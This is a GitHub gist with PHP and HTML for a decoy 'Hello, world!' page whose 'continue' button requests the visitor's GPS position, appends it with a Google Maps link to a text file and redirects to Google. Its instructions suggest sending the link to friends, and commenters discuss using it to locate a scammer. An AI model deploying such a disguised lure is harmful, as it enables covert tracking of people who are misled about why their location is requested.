Skip to content

Instantly share code, notes, and snippets.

@TheBinitGhimire
Created December 28, 2020 11:03
Show Gist options
  • Save TheBinitGhimire/61bcdcaf94214c244a74c208988fb856 to your computer and use it in GitHub Desktop.
Save TheBinitGhimire/61bcdcaf94214c244a74c208988fb856 to your computer and use it in GitHub Desktop.
Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
<?php
/*
Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
Author: Binit Ghimire
GitHub Profile: https://github.com/TheBinitGhimire
Author URL: https://WHOISbinit.me/
_________________
|| How to Use? ||
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
- Host "index.html", "forward.php", and "info.txt" in your web server!
- Send the URL to your website to your friends!
Thank You!
*/
function validateGeolocation($x, $y){
if(!(is_float($x) && is_float($y))) return false;
else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))|(90(\.0+)?),[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\.(\d+))|180(\.0+)?)$/', $x.','.$y);
}
$valid = false;
// Checking if the Geolocation is properly sent or not!
if(isset($_GET['x']) && isset($_GET['y'])){
// Ensuring the provided Geolocation values are float values!
$latitude = floatval($_GET['x']);
$longitude = floatval($_GET['y']);
// Validating whether the Latitude and Longitude are in proper format or not!
if(validateGeolocation($latitude, $latitude)){
$valid = true;
// Crafting a Google Maps URL with the valid Latitude and Longitude!
$maps = "http://maps.google.com/maps?q=$latitude,$longitude";
// Writing (actually appending) the Geolocation Information into a text file named "info.txt"!
$locationFile = fopen("info.txt", "a") or die("Unable to open file!");
$info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n";
fwrite($locationFile, $info);
fclose($locationFile);
}
}
// Redirecting to Google if all criteria is satisfied!
if($valid){
header('Location: https://www.google.com/');
} else{
// Redirecting to the HomePage if the Geolocation isn't properly sent!
header('Location: index.html');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Hello, world!</title>
<meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
<meta name="author" content="Binit Ghimire" />
<meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" />
<!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! -->
<meta property="og:title" content="Hello, world!" />
<meta property="og:type" content="website" />
<meta property="og:site_name" content="Hello, world!" />
<meta property="og:locale" content="en_US" />
<meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
<meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' />
<link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" />
<meta name="theme-color" content="#ff0000" />
<style>
/* Centering everything horizontally and vertically! */
html, body{
height:100%;
}
html{
display:table;
margin:auto;
}
body{
display:table-cell;
vertical-align:middle;
text-align:center;
color:#fc3d7d;
}
</style>
</head>
<body>
<h3>How's it going on!?</h3>
<hr color="red" size=1>
<button onclick="getLocation()">Click Here to continue!</button>
<hr color="red" size=1>
<p id="errorMessage"></p>
<script>
let message = document.getElementById("errorMessage");
function getLocation(){
if(navigator.geolocation){
navigator.geolocation.getCurrentPosition(sendLocation);
} else{
message.innerHTML = "<em>Your browser is unsupported.</em>";
}
}
function sendLocation(geoLocation) {
window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude;
}
</script>
</body>
</html>
_____________________________
|| Geolocation Information ||
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
@bbuse14
Copy link

bbuse14 commented Jan 19, 2022

Does this still work? I got scammed out of $1000 and the scammer is still scamming other people. I want to get him to come to my website so i can get his location to give to the police.

@TheBinitGhimire
Copy link
Author

Yes, this still works, @bbuse14! You shall give it a try, and let me know if it runs fine.

@bbuse14
Copy link

bbuse14 commented Jan 19, 2022

I cant get it to work. My website is bengalsticketconnection.com If you can help me get it setup I'll paypal you some money.

Right now when the button is click there doesnt seem to be any action. I'm not sure if the php was not install correctly but all 3 files are in the rootfolder of my website. Let me know if you can help and I can send you ftp credentials.

@bbuse14
Copy link

bbuse14 commented Jan 20, 2022

@TheBinitGhimire I've tried everything that I know and still cant get the button to work

@TheBinitGhimire
Copy link
Author

@bbuse14, you need to set up HTTPS on your website first, for the Geolocation API to work! That's the only thing missing in your website, as you can see "A Geolocation request can only be fulfilled in a secure context." in your browser console when you press the button.

@juhosaastamoinen
Copy link

I'm trying to make this also work with https://www.callmebot.com/blog/telegram-text-messages/

I'll keep trying 😅

@FALL1N1
Copy link

FALL1N1 commented Feb 16, 2023

works just fine, you need a SSL certificate and to route it through HTTPS, however you will get a "popup" whether you want to share your location or not, which cannot be bypassed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment